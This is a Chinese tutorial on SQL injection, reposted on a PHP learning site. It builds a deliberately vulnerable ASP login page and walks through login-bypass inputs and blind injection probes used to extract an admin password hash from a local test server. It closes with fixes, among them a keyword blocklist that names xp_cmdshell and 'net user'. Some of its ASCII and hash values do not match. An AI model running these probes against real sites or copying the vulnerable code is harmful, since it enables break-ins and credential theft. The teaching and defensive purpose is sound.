网站地图    收藏   

主页 > 后端 > 网站安全 >

SQL注入的探索之路 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] SQL注入的探索之路-Alien一)前言二)SQL注入的危害三)自己编写漏洞并注入四)使用现流行的注入法五)注入的实战演练六)修复并宣告尾声一:)如今各种门户论坛都使用了动态语言如...

一)前言
二)SQL注入的危害
三)自己编写漏洞并注入
四)使用现流行的注入法
五)注入的实战演练
六)修复并宣告尾声



一 :) 

如今各种门户论坛都使用了动态语言如PHP ASP .NET,只要存在程序与人的交互设计,那么就会涉及到数据库,这也将是下一章探讨的潜存在安全。网站数据库中SQL(Structured Query Language)结构化查询语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本文件的扩展名。

本文不是让大家对PHP ASP 语言说拜拜,而是让读者无论是程序员还是从事网络安全的朋友敲醒警钟,虽然已经这个潜在安全已经很老了,但是还是有必要重视一下,这将涉及到站长网站的安全以及用户的个人隐私。本文的亮点主要在于,自己写一个存在注入的程序,从而自己实践,并体会整个过程。



二 :) 

SQL注入,早在1997年国外电脑通信杂志就已经披露了SQL注入这一弱点(感觉到了中国互联网与国外的差距)。通过PHP和ASP等程序,可以攻击破坏各种SQL数据库(MSSQL、MySQL、Oracle和DB2等)。近些年各大开源知名论坛程序被陆续发现严重的漏洞,我也根据官方公布的漏洞测试了一些站点。所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入攻击。一个网站如果存在SQL注入,那危害无疑是巨大的,爆字段猜密码 你敢想象吗?

好久以前我刚接触SQL注入的时候,那时候网上以及书上还没有那么多关于SQL注入的文章,就算有也就是简单一说,没有深入,没有说明危害性,更没有教会大家如何去修复这个漏洞,更多的而是转载。时至至今,想再写一篇关于SQL注入的文章,让不懂的,有个深入的了解,懂的,温故一下普遍存在的SQL注入。




三 :)

首先,调试环境:Windows 2000+IIS 5.0+SQL 2000+ASP

1、SQL数据库的链接-环境搭建

<%
set conn=server.CreateObject("ADODB.Connection")
connstr="DRIVER={SQLServer};server=127.0.0.1;
UID=test;Password=FF0000"
conn.open connstr

set rs=server.CreateObject("ADODB.Recordset")
rs.Open "login",conn
%> 

Alien说几点注意的地方:这里的login是自己建立的表,因为第二行connstr字符串没有指定数据库,所以是这个登陆帐户的默认数据库建立了login表后,请在属性权限中给与guest以所有权限(虽然设置777是不安全的,但是因为方便环境和测试,就先不考虑了哈~),如果不设置的话,否则下面将不能对表进行操作。

2、 数据库中表的基本操作(前提是以上条件成立) 

Response.Write "记录集中共有"&rs.Fields.count&"字段"//显示字段总数
for i=0 to rs.Fields.count-1
Response.Write "<TD>"&rs(i).Name&"</TD>"//打印出所有的字段名
Next

rs.MoveFirst //下面打印出所有的记录
while not rs.EOF
row="<TR BGCOLOR=#ffff00>"
for i=0 to rs.Fields.count-1
row=row&"<TD>"&rs(i)&"</td>"
next
Response.Write row&"</tr>"
rs.MoveNext 
Wend

rs.Find="电话=1114213908"//这里是查找
if rs.EOF thenResponse.Write "无此名字"
elseResponse.Write "查到了”





下面将显示如何在ASP网页中执行SQL语句:

(1)不返回数据集
sqlstate=request("sql_state")
if sqlstate<>empty then
set conn=server.CreateObject("ADODB.Connection")
connstr="Driver={sql server};server=127.0.0.1;UID=test;Password=FF0000"
conn.Open connstr

set cmdobj=server.CreateObject("ADODB.Command")
set cmdobj.ActiveConnection=conn
cmdobj.CommandText=sqlstate
cmdobj.Execute 


(2)返回数据集

方法一:

sql=request("sql")
if sql<>empty then
set conn=server.CreateObject("adodb.connection")
connstr="driver={sql server};server=127.0.0.1;uid=test;password=FF0000"
conn.Open connstr
set rs=conn.Execute(sql)

此时 rs就相当于前面的RecordSet对象一样,可以进行相应的操作。

方法二:

sql=request("sql")
if sql<>empty then
set conn=server.CreateObject("adodb.connection")
connstr="driver={sql server};server=127.0.0.1;uid=test;password=FF0000"
conn.Open connstr

set rs=server.CreateObject("adodb.recordset")
rs.Open sql,conn

说明:这里的sql即指sql语句,SQL规定语句中只能用单引号,不能用双引号。 






3、设计一个有漏洞的ASP程序,我们建立的login表如下:

Username Password Money

alien      123456  1000
FF0000   654321  1500

设计一个登陆界面login.htm:

<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
<TITLE>邪红色|www.ff0000.cc演示注入</TITLE>
</HEAD>
<BODY>

<center>
<form method=post action="check.asp">

<p>
<center>这是一个存在SQL注入的程序</center>
<p>

UserName:
<input type="text" name=username>
<p>Password:
<input type="password" name=password>
<p>
<input type="submit" value="提交">
</form>
</center>
</BODY>
</HTML> 

这个是登录界面,现在已经写完了,然后我们写检测的check.asp页面

下面是check.asp的代码,大家仔细看,好好理解:

<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>

<BODY>
<%
dim strUserName,strPassword,strConn,strSql
strUserName=trim(request("username"))
strPassword=trim(request("password"))
if strUserName="" then
Response.Write "<body><p><center>用户名不能为空!</center></p></body>"
Response.End
end if
if strPassword="" then
Response.Write "<body><p><center>密码不能为空!</center></p></body>"
Response.End
end if

set conn=server.CreateObject("ADODB.Connection")
strConn="driver={sql server};server=127.0.0.1;uid=test;password=FF0000"
conn.Open strConn
strSql="select * from login where 
username="&trim(strUserName)&"and password="&trim(strPassword)&""

set rs=server.CreateObject("ADODB.RecordSet")

rs.Open strSql,conn,1,3
if not rs.EOF then
Response.Write "<center>OK,通过验证成功进入!</center>"
else
Response.Write "<center>NO,密码错误或不存在该用户!</center>"
end if

%>
</BODY>
</HTML> 

保存好文件后,放入自己搭建好的虚拟目录,就可以开始了。

用户名:alien 密码:123456 则通过验证
用户名:alien 密码:123456789 密码错误或不存在该用户

下面进行简单的SQL Injection攻击:

(1)、尝试输入用户名:alien  " -- 密码:(这里的密码大家随便填写就可以)
自己测试,看到结果了吗?吃惊吧,竟然通过验证!!
下面对代码进行分析:

strUserName=trim(request("username"))
strPassword=trim(request("password"))

获取在login.htm中的输入。
strSql=”select * from login where 
username="&trim(strUserName)&"and password="&trim(strPassword)&""

大家注意,这里是漏洞的关键:假设我们这里输入正确的用户名:alien和密码:123456

则这句语句就相当于:

strSql="select * from login where username=isml and password=’123456’”通过
rs.Open strSql,conn,1,3执行,在login表中查找,如果符合这样的项,则rs指向这条记录,所以不满足not rs.eof,因此输出“通过验证成功登录”。否则两项中至少有一项不满足,就会输出“密码错误或不存在该用户”。

现在分析输入用户名alien ‘ -- 密码:shelenb(也是任意)的情况:

strSql=”select * from login where username=’alien ‘-- ‘ and password=’shelenb’”
注意:--是SQL语句中的注释。

因此语句就相当于变成:strSql=”select * from login where username=’alien’”
显然,只要我们知道有alien这个用户,则我们不需要他的密码就能登陆。 //很惊喜吧!

(2)尝试输入用户名:Alienn(这里也是任意的) 密码:110’ 1=1 or – (密码110任意)
这个用户根本没有注册,应该返回“密码错误或不存在该用户”。
但结果却是:“通过验证成功登录”

分析:strSql=”select * from login where username=’Alieen ‘ and password=’110’ or 1=1 --’”大家看到了吗?显然条件不满足username=’Alieen’ and password=’110’一项,但1=1显然成立,所以通过了验证。

(3)尝试输入用户名:110‘ or 1=1 -- 密码:123(同样,这里任意)结果还是通过验证,读者动用一下Hacker头脑,自己认真思考一下原因所在。




四 :)

上面的方法毕竟有些老套,也比较冗长,这里说一下现在简单的流行的注入方法以及语句
方便大家从另一层面更好的来理解。当然工具也是可以检测的,比如Domain 啊D还有很多,这里是让大家明白注入的原理,而不是当脚本小子。

检测网站是否存在注入:
URL and 1=1; //正常页面
URL and 1=2; //出错页面
URL是 localhost/news.asp?id=123  类似于这种,Localhost是域名,后面要有ID=

localhost/news.asp?id=123 and 1=1返回正常
localhost/news.asp?id=123 and 1=2 返回错误  
如果是这种情况,那么将存在注入。

检测网站数据库类型:
URL and (select count(*) from sysobjects)>0;  //返回正常sql server
URL and (select count(*) from msysobjects)>0; //返回正常Access

猜解数据库表段:
URL and exists(select*from  admin)       //admini是自己更换的猜解表段
猜解数据库列名:
URL and (select count(username)from admin)>0   //admin同上,username是猜解的列名
猜解数据库列名长度:
URL and (select top 1 len(username)from admin)>0  //修改后面的>0是猜解长度
猜解内容:
URL and (select top 1 asc(mid(username 1,1))from admin)>0 //猜解出的内容需对应ASCII表

五 :)

从实战中,让读者能够更好的对SQL注入有更深的理解。
这里直接拿本地搭建的白箱子作为注入对象:localhost(本地搭建的URL)
要求:编写代码,存在SQL注入,开始实战
目的:猜解出帐号以及密码并最终解开MD5 展示明文

首先打开漏洞页面:localhost/news.asp?id=123
输入最经典的 and 1=1.1=2来测试。

localhost/news.asp?id=123 and 1=1  // 访问,返回正常页面
localhost/news.asp?id=123 and 1=2  // 访问,返回错误页面

存在SQL注入,那么开始检测数据库表。

localhost/news.asp?id=123 and exists(select*from alien) //访问失败,不存在该表
localhost/news.asp?id=123 and exists(select*from admin) //访问成功,存在该表

表猜出来了,那么就去猜解表中的列吧!其实就是一个循环的过程,实际上,如果猜了很久还是猜不出表段,直接可以用工具(Domain 啊D神马的可以) 这里只是让读者了解注入的原理。

localhost/news.asp?id=123 and (select count(password)from admin)>0
访问正常,列猜出来了,那么长度大于0,我们要才接触到底是多少位
localhost/news.asp?id=123 and (select count(password)from admin)>20
返回错误,也就是长度大了,那么我们修改一下大于为等于呢?

localhost/news.asp?id=123 and (select count(password)from admin)=16
返回正常,也就是password列长度为16,应该是16位的MD5吧。
然后根据提供的SQL注入猜解内容的语句,用来猜解MD5内容是什么,过程很蛋疼,很纠结,所以直接略过。

www.2cto.com /news.asp?id=123 and (select top 1 asc(mid(password 1,1))from admin)>0
也就是上面这段Link的格式,修改password后面的 1,1是行列 用来猜解长度。
最后猜解出来的长度分别是:

55 97 53 55 97 53 97 55 34 33 56 39 52 61 30 65

以上是相应的ASCII码,我们对照ASCII码表,看一下这些数值对应的字符,也就是最后的MD5。

MD5:  7a57a5a743894a0e

然后把上面的MD5复制下,登录破解MD5的站点,进行破解,最后得出:admin
也就是我们破解出来的admin表下的password列的内容,为:admin
然后依次循环进行猜解管理员帐号或者其他想要猜解的内容。

这场实战,在这里宣告结束,我们已经达到了自己的目的,那就是猜解出帐号以及密码
读者在温故一下上面的内容,考虑一下究竟是为什么呢?会有新的发现!

六 :)

从上文中,我们得知了存在sql注入的危害,那么如何修复呢?能够有效防范sql注入的好方法是什么?那就是强化网站开发中的安全流程,有人说要上硬件,但是你上什么硬件?DDOS防火墙?ARP防火墙?病毒防火墙?虽然现在已经开发了防SQL注入的工具,但是读者们认为功能怎么样?实用性怎么样?
最实际的方法只有一种,那就是:加强网站开发过程中的代码安全,防止类似存在SQL注入这种漏洞的发生。

1.脚本过滤层。使用Php.ini的magic_quotes_gpc选项。在开发过程中凡是需要接受用户输入的位置使用addslashes函数、intval函数,htmlspecialchars函数,htmlentities函数,并加入javascript防注入漏洞过滤函数和PHP防注入漏洞过滤函数。

2.数据过滤层(数据库方面加强防注入手段)。在网站和数据库进行连接时(连接池)使用的用户具有普通权限就可以了,不要使用超级用户或数据库所有者的账号。对提交数据的类型和格式进行严格检查,确保数据类型符合要求,比如用mysql数据库系统函数isnumberic()判断传到数据库中的值是否是数字。另外在连接数据库时尽量使用sssl或ssh。

简单的总结一下,防御SQL注入手段就是一定要注意编写代码时的安全性,不得只求效率,没有安全,下面我举例一个网页(ASP,上面过滤是指PHP的)存在SQL注入,我们来进行修复,这里写出了一个ASP函数,供读者参考:


Function SafeRequest(ParaName) 
Dim ParaValue 
ParaValue=Request(ParaName) 
if IsNumeric(ParaValue) = True then 
SafeRequest=ParaValue 
exit Function 
elseIf Instr(LCase(ParaValue),"select ") > 0 or Instr(LCase(ParaValue),"insert ") > 0

or Instr(LCase(ParaValue),"delete from") > 0 or Instr(LCase(ParaValue),"count(") > 0

or Instr(LCase(ParaValue),"drop table") > 0 or Instr(LCase(ParaValue),"update ") > 0

or Instr(LCase(ParaValue),"truncate ") > 0 or Instr(LCase(ParaValue),"asc(") > 0

or Instr(LCase(ParaValue),"mid(") > 0 or Instr(LCase(ParaValue),"char(") > 0

or Instr(LCase(ParaValue),"xp_cmdshell") > 0 or Instr(LCase(ParaValue),"exec master") > 0

or Instr(LCase(ParaValue),"net localgroup administrators") > 0

or Instr(LCase(ParaValue)," and ") > 0 or Instr(LCase(ParaValue),"net user") > 0

or Instr(LCase(ParaValue)," or ") > 0 then 
Response.Write "<script language='javascript'>" 
Response.Write "alert('卧槽!想注入?!');" '发现非法SQL注入进行提示信息 
Response.Write "location.href='http://www.ff0000.cc/';" '发现非法SQL注入转跳网址 
Response.Write "<script>" 
Response.end 
else 
SafeRequest=ParaValue 
End If 
End function

之后使用SafeRequest函数替换你的Request即可。

尾声:写到这里就要和读者们再见了,我们回顾一下之前的内容,虽然有些长,但是枯燥乏味中是否也有成功的乐趣?自己多动用一些Hacker头脑,将会有更多的成果,对于程序员编码人员,你们要更加注意自己的代码安全,对于普通读者,我们应当更加注重保护自己的网络数据。多多动手实践,才能发挥出学习的最大力量,实践才是检验真理的唯一标准,只有动手才能不断进步!


                                                                  
邪红色信息安全组织授权红黑联盟

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论